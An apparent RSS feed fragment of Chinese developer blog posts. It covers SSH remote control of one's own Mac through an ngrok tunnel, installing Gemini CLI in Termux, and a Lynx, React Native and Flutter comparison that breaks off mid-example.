&lt;pre class="highlight shell"&gt;&lt;code&gt;ngrok tcp 22
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;输出:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tcp://4.tcp.ngrok.io:12345 → localhost:22
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. 远程连接命令结构
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh youruser@4.tcp.ngrok.io &lt;span class="nt"&gt;-p&lt;/span&gt; 12345
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;建议配置 SSH config:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Host my-mac
    HostName 4.tcp.ngrok.io
    Port 12345
    User youruser
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;连接可简化为:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh my-mac
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. 跨平台遥控命令对比
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;功能&lt;/th&gt;
&lt;th&gt;macOS (终端)&lt;/th&gt;
&lt;th&gt;Windows (PowerShell / CMD)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;锁屏&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pmset displaysleepnow&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rundll32.exe user32.dll,LockWorkStation&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;睡眠&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pmset sleepnow&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rundll32.exe powrprof.dll,SetSuspendState 0,1,0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;关机&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sudo shutdown -h now&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;shutdown /s /f /t 0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;重启&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sudo shutdown -r now&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;shutdown /r /f /t 0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;登出&lt;/td&gt;
&lt;td&gt;&lt;code&gt;osascript -e 'tell app "System Events" to log out'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;shutdown /l&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;通知框&lt;/td&gt;
&lt;td&gt;&lt;code&gt;osascript -e 'display notification "Hi 灵儿" with title "SSH"'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;msg * "你好"&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  5. 安全性加固
&lt;/h2&gt;

&lt;p&gt;使用 SSH 公钥:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh-keygen &lt;span class="nt"&gt;-t&lt;/span&gt; ed25519
ssh-copy-id youruser@localhost
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;禁用密码登陆:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nano /etc/ssh/sshd_config

&lt;span class="c"&gt;# 修改:&lt;/span&gt;
PasswordAuthentication no
PermitRootLogin no
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;限制 ngrok TCP 访问:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ngrok tcp 22 &lt;span class="nt"&gt;--acl&lt;/span&gt; &lt;span class="nv"&gt;allow_cidr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;203.0.113.0/24
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. 自动化脚本
&lt;/h2&gt;

&lt;p&gt;启动 ngrok 并输出 URL&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
ngrok tcp 22 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; ~/ngrok.log &amp;amp;
&lt;span class="nb"&gt;sleep &lt;/span&gt;2
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s1"&gt;'tcp://.*'&lt;/span&gt; ~/ngrok.log | &lt;span class="nb"&gt;tee&lt;/span&gt; ~/ngrok_url.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;一键锁屏:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh my-mac &lt;span class="s1"&gt;'pmset displaysleepnow'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;请下方评论让我知道你最喜欢哪一部分哟～&lt;/p&gt;

</description>
      <category>ssh</category>
      <category>terminal</category>
    </item>
    <item>
      <title>在Termux中安装和使用Google Gemini CLI的完整指南</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Mon, 30 Jun 2025 18:10:54 +0000</pubDate>
      <link>https://dev.to/ctkqiang/zai-termuxzhong-an-zhuang-he-shi-yong-google-gemini-clide-wan-zheng-zhi-nan-o4o</link>
      <guid>https://dev.to/ctkqiang/zai-termuxzhong-an-zhuang-he-shi-yong-google-gemini-clide-wan-zheng-zhi-nan-o4o</guid>
      <description>&lt;h2&gt;
  
  
  什么是Google Gemini CLI？
&lt;/h2&gt;

&lt;p&gt;Google Gemini CLI是一个命令行工具，允许开发者直接在终端中与Google的Gemini AI模型交互。它提供了简单高效的方式来测试和集成Gemini的强大AI能力到你的开发工作流中。&lt;/p&gt;

&lt;p&gt;Gemini是Google最新推出的大型语言模型，具有强大的自然语言理解和生成能力，可以用于代码生成、问题解答、内容创作等多种场景。&lt;/p&gt;




&lt;h3&gt;
  
  
  在Termux中安装Gemini CLI
&lt;/h3&gt;

&lt;p&gt;Termux是Android设备上的强大终端模拟器，下面我们一步步教你如何在Termux中安装和使用Gemini CLI。&lt;/p&gt;




&lt;h2&gt;
  
  
  1. 准备工作
&lt;/h2&gt;

&lt;p&gt;首先确保你的Termux是最新版本，并更新软件包：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pkg update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; pkg upgrade
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;安装必要的依赖：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pkg &lt;span class="nb"&gt;install &lt;/span&gt;nodejs-lts git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  2. 安装Gemini CLI
&lt;/h2&gt;

&lt;p&gt;通过npm全局安装Gemini CLI：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; @google/gemini-cli
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fenmr9tihluk8m1uu2bre.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fenmr9tihluk8m1uu2bre.jpeg" alt="在这里插入图片描述" width="800" height="442"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;安装过程可能需要几分钟，取决于你的网络速度。安装完成后你会看到类似这样的输出：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;changed 431 packages &lt;span class="k"&gt;in &lt;/span&gt;37s
123 packages are looking &lt;span class="k"&gt;for &lt;/span&gt;funding
   run &lt;span class="sb"&gt;`&lt;/span&gt;npm fund&lt;span class="sb"&gt;`&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;details
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  3. 配置API密钥
&lt;/h2&gt;

&lt;p&gt;要使用Gemini CLI，你需要一个Google Gemini API密钥。获取密钥后，在Termux中创建配置文件：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;vim .env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;在文件中添加你的API密钥：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;GEMINI_API_KEY&lt;/span&gt;&lt;span class="o"&gt;={&lt;/span&gt;你的API密钥&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. 启动Gemini CLI
&lt;/h2&gt;

&lt;p&gt;配置完成后，只需输入以下命令即可启动：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gemini
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqf5323r5vrhgu7ch7omm.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqf5323r5vrhgu7ch7omm.jpeg" alt="在这里插入图片描述" width="800" height="1030"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;你将进入Gemini的交互界面，可以开始与AI对话了！&lt;/p&gt;

&lt;p&gt;基本使用方法&lt;/p&gt;

&lt;p&gt;启动Gemini后，你可以：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;直接输入问题或指令与AI交互&lt;/li&gt;
&lt;li&gt;使用@符号后跟文件路径让AI分析文件内容&lt;/li&gt;
&lt;li&gt;输入/help查看所有可用命令&lt;/li&gt;
&lt;li&gt;选择不同的主题和设置&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;例如：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; 你好
♦ 你好！有什么我可以帮助你的吗？
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdzdxq65euc6fncrgr6zg.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdzdxq65euc6fncrgr6zg.jpeg" alt="在这里插入图片描述" width="800" height="738"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  常见问题解决
&lt;/h3&gt;

&lt;p&gt;安装缓慢：可以尝试更换npm源为国内镜像：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm config &lt;span class="nb"&gt;set &lt;/span&gt;registry https://registry.npm.taobao.org
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;权限问题：如果安装失败，尝试加上&lt;code&gt;sudo&lt;/code&gt;或使用&lt;code&gt;npm install --unsafe-perm&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;API密钥无效：确保密钥正确且已启用，检查&lt;code&gt;.env&lt;/code&gt;文件的位置和格式。&lt;/p&gt;

&lt;p&gt;在Termux中使用Gemini CLI为移动开发者提供了随时随地访问强大AI能力的便利。无论是学习编程、调试代码还是获取技术建议，Gemini都能成为你得力的助手。&lt;/p&gt;

&lt;p&gt;赶快按照本文的步骤安装体验吧！如果你在使用过程中遇到任何问题，欢迎在评论区留言讨论。&lt;/p&gt;

</description>
      <category>google</category>
      <category>gemini</category>
      <category>cli</category>
    </item>
    <item>
      <title>Lynx vs React Native vs Flutter 全面对比：三大跨端框架实测分析</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Thu, 26 Jun 2025 06:52:31 +0000</pubDate>
      <link>https://dev.to/ctkqiang/lynx-vs-react-native-vs-flutter-quan-mian-dui-bi-san-da-kua-duan-kuang-jia-shi-ce-fen-xi-45d1</link>
      <guid>https://dev.to/ctkqiang/lynx-vs-react-native-vs-flutter-quan-mian-dui-bi-san-da-kua-duan-kuang-jia-shi-ce-fen-xi-45d1</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffmy5gkmw5jymw6tr501l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffmy5gkmw5jymw6tr501l.png" alt="在这里插入图片描述" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;一文看懂三大热门跨端技术的&lt;strong&gt;历史渊源、架构机制、开发体验、包体积对比与性能评估&lt;/strong&gt;。&lt;br&gt;&lt;br&gt;
我陪你用实测数据带你理性选型，不踩坑，不盲信。&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  1. 框架简介：它们是谁？来自哪里？干嘛用？
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;框架名称&lt;/th&gt;
&lt;th&gt;所属公司&lt;/th&gt;
&lt;th&gt;发布时间&lt;/th&gt;
&lt;th&gt;初衷 / 定位&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;React Native&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Meta（Facebook）&lt;/td&gt;
&lt;td&gt;2015&lt;/td&gt;
&lt;td&gt;用 JS 写原生 App，复用 Web 经验&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Flutter&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;谷歌&lt;/td&gt;
&lt;td&gt;2018&lt;/td&gt;
&lt;td&gt;全自绘 UI，打造统一的多端体验&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Lynx&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;字节跳动&lt;/td&gt;
&lt;td&gt;内部框架&lt;/td&gt;
&lt;td&gt;高性能轻量级 UI 渲染引擎，替代 RN 场景&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  🔹 React Native
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;用 React + JavaScript 写 App；&lt;/li&gt;
&lt;li&gt;通过 JS Bridge 与 Native 通信；&lt;/li&gt;
&lt;li&gt;生态成熟，适合快速开发。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔹 Flutter
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;使用 Dart 语言；&lt;/li&gt;
&lt;li&gt;自带渲染引擎（Skia），UI 全自绘；&lt;/li&gt;
&lt;li&gt;性能强，跨端一致性高。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔹 Lynx（字节跳动内部框架）
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;使用 AST DSL 或类 Vue 语法；&lt;/li&gt;
&lt;li&gt;使用自研渲染引擎（C++ 实现）；&lt;/li&gt;
&lt;li&gt;小而快，适合嵌入式、信息流、IoT 场景。&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  2. 架构对比：底层是怎么工作的？
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;框架&lt;/th&gt;
&lt;th&gt;架构类型&lt;/th&gt;
&lt;th&gt;UI 渲染机制&lt;/th&gt;
&lt;th&gt;与原生交互方式&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;React Native&lt;/td&gt;
&lt;td&gt;JS Bridge 架构&lt;/td&gt;
&lt;td&gt;使用原生组件&lt;/td&gt;
&lt;td&gt;JS ↔ Native 异步调用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Flutter&lt;/td&gt;
&lt;td&gt;自绘引擎架构（Skia）&lt;/td&gt;
&lt;td&gt;全部 UI 自绘&lt;/td&gt;
&lt;td&gt;Dart ↔ C++ ↔ 原生桥&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lynx&lt;/td&gt;
&lt;td&gt;AST DSL + 自研引擎&lt;/td&gt;
&lt;td&gt;渲染引擎驱动 UI 渲染&lt;/td&gt;
&lt;td&gt;JSON AST ↔ Native 高性能通信&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  3. 项目创建时间对比 🕒
&lt;/h2&gt;

&lt;p&gt;测试创建一个“计时器 App”项目的 scaffold 初始化耗时（单位：秒）：&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;框架&lt;/th&gt;
&lt;th&gt;创建项目耗时&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;React Native&lt;/td&gt;
&lt;td&gt;1.48 秒&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lynx&lt;/td&gt;
&lt;td&gt;0.17 秒&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Flutter&lt;/td&gt;
&lt;td&gt;1.69 秒&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;👉 &lt;strong&gt;Lynx&lt;/strong&gt; 是明显的极速启动王者，适合大批量快速生成场景。&lt;/p&gt;




&lt;h2&gt;
  
  
  4. 打包后的 APK 体积对比 📦
&lt;/h2&gt;

&lt;p&gt;统一将“计时器 App”打包为 Release APK，使用 &lt;code&gt;du -h&lt;/code&gt; 获取体积如下：&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;框架&lt;/th&gt;
&lt;th&gt;APK 大小（Release）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;React Native&lt;/td&gt;
&lt;td&gt;205 MB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lynx&lt;/td&gt;
&lt;td&gt;145 MB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Flutter&lt;/td&gt;
&lt;td&gt;19 MB&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;✅ Flutter 拥有最小体积，得益于提前编译 + 资源剔除优化。&lt;/p&gt;




&lt;h2&gt;
  
  
  5. 核心代码对比 👩‍💻
&lt;/h2&gt;

&lt;h3&gt;
  
  
  React Native 示例：
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useState&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Button&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;View&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react-native&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;App&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setSeconds&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;View&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Text&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/Text&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Button&lt;/span&gt; &lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Start&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="nx"&gt;onPress&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;setSeconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;seconds&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt; &lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/View&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Flutter 示例：
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight dart"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="s"&gt;'package:flutter/material.dart'&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;runApp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MyApp&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;MyApp&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="n"&gt;StatelessWidget&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="nd"&gt;@override&lt;/span&gt;
  &lt;span class="n"&gt;Widget&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BuildContext&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;MaterialApp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="nl"&gt;home:&lt;/span&gt; &lt;span class="n"&gt;Scaffold&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nl"&gt;body:&lt;/span&gt; &lt;span class="n"&gt;Center&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nl"&gt;child:&lt;/span&gt; &lt;span class="n"&gt;Text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'&lt;/span&gt;&lt;span class="si"&gt;$seconds&lt;/span&gt;&lt;span class="s"&gt; 秒'&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
      &lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Lynx 示例:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
